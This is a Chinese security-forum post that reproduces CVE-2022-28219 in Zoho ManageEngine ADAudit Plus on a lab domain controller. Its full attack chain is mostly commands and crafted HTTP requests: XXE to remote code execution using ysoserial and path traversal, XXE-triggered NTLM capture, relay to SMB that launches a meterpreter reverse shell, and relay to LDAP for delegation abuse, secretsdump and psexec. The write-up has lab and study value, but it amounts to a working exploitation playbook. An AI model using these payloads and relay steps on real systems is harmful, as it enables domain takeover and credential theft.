问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
CVE-2022-28219 Zoho ManageEngine ADAudit Plus XXE到RCE漏洞复现
漏洞分析
Zoho ManageEngine ADAudit Plus XXE到RCE漏洞复现
一、环境搭建 ------ 需要一个域环境,将机器提升为域控之后。安装[managerEngine](https://archives2.manageengine.com/active-directory-audit/7055/ManageEngine_ADAudit_Plus_x64.exe),直接下载好拖到域控上安装即可。安装完成之后,访问dc的8081端口(默认为8081)。  默认账号为admin/admin,managerEngine也能默认识别到当前登录域的netbios  | MangeEngine机器(dc) | 域名 | 攻击机(kali) | |---|---|---| | 192.168.20.246 | fbi.gov | 192.168.20.151 | 二、漏洞复现 ------ ### 第一步 首先使用[ysoserial](https://github.com/frohoff/ysoserial)生成反序列化payload(使用CommonBeanutils1 gadget)。 `java -jar ysoserial-all.jar CommonsBeanutils1 calc.exe > xxe-upload-test.jar`  ### 第二步 (<https://2013.appsecusa.org/2013/wp-contenthttps://img.xyqlife.com/gzh/2013/12/WhatYouDidntKnowAboutXXEAttacks.pdf> 在这里提到,通过xxe我们可以上传文件和列举目录 可以使用这个ftp服务器来使文件驻留到目标服务器中。) 使用[BlockingServer](https://github.com/pwntester/BlockingServer),可以使用这个ftp服务器来使文件驻留到目标服务器中。 `java BlockingServer 9090 xxe-upload-test.jar`  之后发送数据包 ```php POST /api/agent/tabs/agentData HTTP/1.1 Host: 192.168.20.246:8081 Accept-Encoding: gzip, deflate Accept: */* Connection: keep-alive Content-Length: 316 Content-Type: application/json [ { "DomainName": "fbi.gov", "EventCode": 4688, "EventType": 0, "TimeGenerated": 0, "Task Content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?> ]>&ssrf;" } ] ```  BlockingServer 提供文件并保持连接打开,因此临时文件不会被删除。 ### 第三步 利用XXE漏洞定位上传payload的文件路径。我们在这里使用 GitHub 项目中的 [XXE FTP](https://github.com/LandGrey/xxe-ftp-server/blob/master/xxe-ftp-server.py) 服务器来泄露目录列表以找到有效负载: `python2 xxe-ftp-server.py 192.168.20.151 3000 2121`  发送数据包。 ```php POST /api/agent/tabs/agentData HTTP/1.1 Host: 192.168.20.246:8081 Accept-Encoding: gzip, deflate Accept: */* Connection: keep-alive Content-Length: 393 Content-Type: application/json [ { "DomainName": "fbi.gov", "EventCode": 4688, "EventType": 0, "TimeGenerated": 0, "Task Content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?> %dtd;]>&send;" } ] ``` 找到通过ftp上传的临时文件  ### 第四步(触发payload) ```php curl --path-as-is -v http://192.168.20.246:8081/cewolf/a.png?img=/../../../../../../../../../users/fbi/appdata/local/temp/jar_cache5024000158749136930.tmp ```  成功触发payload  ### 五、[集成脚本](https://github.com/horizon3ai/CVE-2022-28219) win.ini文件内容。  脚本获取win.ini内容 ```php python3 CVE-2022-28219.py -t http://192.168.20.246:8081/ -l 192.168.20.151 -d fbi.gov -f /windows/win.ini ```  执行命令: ```php python3 CVE-2022-28219.py -t http://192.168.20.246:8081/ -l 192.168.20.151 -d fbi.gov -c calc.exe ```  和手工触发的流程一致,多了一个列user目录的过程,来探测当前机器上的用户和用户目录。  找到生成的临时文件tmp之后发送请求访问上传的tmp文件来触发漏洞导致命令执行。 ### 六、SSRF到NTLM中继 我们在攻击者机器上运行著名的[响应器工具](https://github.com/lgandx/Responder) ```php python3 Responder.py -I eth0 ``` 发送一个请求来触发 XXE 并让 ADAudit Plus 服务器连接回攻击 IP ```php POST /api/agent/tabs/agentData HTTP/1.1 Host: 192.168.20.246:8081 Accept-Encoding: gzip, deflate Accept: */* Connection: keep-alive Content-Length: 393 Content-Type: application/json [ { "DomainName": "fbi.gov", "EventCode": 4688, "EventType": 0, "TimeGenerated": 0, "Task Content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?> %xxe; ]>" } ] ```  获取用户fbi的net-ntlmhash,后续可以使用hashcat尝试破解NTLMv2hash。 ### 七、通过ntlmrelay获取机器的权限 如果在目标机器上的jdk版本有问题导致无法rce,只存在xxe的情况下作何利用? ntlmrelay原理:  基本流程如上图所示,在客户端的视角里,攻击者就是他要访问的服务端,它在与攻击者这台主机进行NTLM认证,而整个流程也只有攻击者这台主机与其进行交互。 在服务端的视角里,攻击者是客户端,是攻击者在向服务端证明自己的身份。通过中间人攻击的方法,攻击者可以伪造成客户端来完成身份验证。 整个ntlm认证过程中,攻击者相当于一个中间人的作用,在不同的认证流程中,扮演不同的认证角色。 #### 一、中继到smb 默认情况,dc开启smb签名认证。 其他域内主机未开启。  攻击机kali使用smbrelayx临时起一个SMB服务。 ```php impacket-smbrelayx -h 192.168.20.111 -c hostname ``` 利用xxe发送http请求  在机器上执行命令成功。  或者通过可执行文件直接上线。(工具smbrelay)(联动msf的远控) 生成一个后门文件。 ```php msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.20.151 lport=4444 -f exe -o exp.exe ``` 开启smb服务,让目标机器获取攻击机kali的smb服务上的exp.exe并且执行。 ```php impacket-smbrelayx -h 192.168.20.111 -e exp.exe ```  通过xxe发送请求  目标机器上线msf 但是session上线之后会自动断掉。  后面查阅到 需要使用exploit/multi/handler,配置AutoRunScript,当获取到shell让他进程自动迁移,避免shell文件被删除时连接的shell断开。并且此时弹回来的权限为system。  (在横向移动中,445端口用来进行net use的ipc连接,在工具smbrelayx中,起一个445的smb server来执行命令,还是工具中用到了wmic来执行命令并且通过ipc连接来读取命令执行的结果。同理上线msf也是一样,通过wmic来执行命令获取到攻击机kali的smb上的远控木马到本地,之后再通过wmic去执行命令执行并上线) ##### 高版本server执行失败的情况 如果中继到的机器是2016及以上(这里添加一个域内机器为2016),可以看到调用rpc执行是失败的(rpc默认在这些机器上被禁用)  那么遇到这种情况如何解决? 就引出下文的基于资源的约束委派。 #### 二、中继到ldap,基于资源的约束委派 获取到域内一个用户的凭据,账号密码为fbi/p@ssw0rd,此时通过这个账号去添加机器账号 ```php python3 addcomputer.py -method SAMR -dc-ip 192.168.20.246 -computer-name 7niuzi -computer-pass 123456 "fbi.gov/fbi:p@ssw0rd" ```   ```php python3 ntlmrelayx.py -t ldap://dc01.fbi.gov -debug -ip 192.168.20.151 --delegate-access --remove-mic -smb2support --escalate-user 7niu\$ ``` 中继到ldap之后,刚开始使用ntlmrelayx的时候,总是默认导出ldap的信息,同时因为admanager。此工具尝试从域中收集尽可能更多的信息,包括用户,其组成员身份,域计算机和域策略。  除了收集信息之外,还可以通过LDAP写入目录。如果ntlmrelayx遇到具有域管理员权限的用户,它将创建一个新的域管理员帐户,该帐户立即使攻击者可以完全控制域  这里自动将新建的机器账号添加到最高的域管组中,此时该机器账户具有dcsync功能。 ```php impacket-secretsdump 7niu\$:123456@dc01.fbi.gov ```  如果权限不够的情况下,或者忽略掉工具ntlmrelayx给我们带来的判断权限和自动提升为Enterprise admins组的成员,进行正常的基于资源的约束委派攻击来获取w12主机的权限。 再添加一个机器账号。  ```php impacket-ntlmrelayx -t ldap://192.168.20.246 -debug -ip 192.168.20.151 --delegate-access --no-dump --no-da --no-acl --no-validate-privs --escalate-user dandan\$ 参数功能相关: --delegate-access 将中继计算机帐户的访问权限委派给指定帐户 --no-dump 不要尝试转储 LDAP 信息 --no-da 不要尝试添加域管 --no-acl 禁用 ACL 攻击 --no-validate-privs不要尝试枚举权限,假设权限被授予通过 ACL 攻击升级用户 ``` 以上通过这些参数来让他仅执行一个基于资源的约束委派,不需要通过枚举之前的枚举权限之类或者acl之类的攻击操作。  burpsuite发包触发xxe,目标机发起http请求。  将凭据中继到域控服务器的LDAP服务上设置基于资源约束委派成功。  票据申请 ```php impacket-getST dc-ip 192.168.20.246 fbi.gov/dandan$:123456 -spn cifs/w12.fbi.gov -impersonate administrator ```  票据导入 ```php export KRB5CCNAME=administrator.ccache ```  psexec直接登录w12机器。 ```php impacket-psexec -no-pass -k w12.fbi.gov ```  ldap信息中该机器账号的msDS-AllowedToActOnBehalfOfOtherIdentity属性值  三、总结 ---- ### 一、该漏洞主要需要知道域名来触发xxe,那么实际使用中如何获取内网域名? 1./api/agent/configuration/getAgentServerInfo 接口中,如果配置了agent之后会有完整的fqdn  2.managerengine登录的时候会显示netbios。  3.如果能遇到存在exchang的,也能够通过exchange的接口获取fqdn。   查看ldap信息w12机器的  ### 二、jdk低版本的401 另外Java在使用内置类 sun.net.www.protocol.http.HttpURLConnection 发送HTTP请求遇到状态码为401的HTTP返回头时,会判断该页面要求使用哪种认证方式,若采用的NTLM认证则会自动使用当前用户凭据进行认证。 如果目标机器未开启防火墙来禁止外部请求smb,或者未对smb进行签名,攻击者便能依此获取NTLM认证请求。 四、参考文章 ====== <https://blog.ateam.qianxin.com/post/zhe-shi-yi-pian-bu-yi-yang-de-zhen-shi-shen-tou-ce-shi-an-li-fen-xi-wen-zhang/> <https://www.horizon3.ai/red-team-blog-cve-2022-28219/> <https://xlab.tencent.com/cn/2019/03/18/ghidra-from-xxe-to-rce/> ### 欢迎关注我们的公众号 - Zbits2022 
发表于 2022-11-18 09:00:01
阅读 ( 7689 )
分类:
漏洞分析
1 推荐
收藏
0 条评论
请先
登录
后评论
7bits
3 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!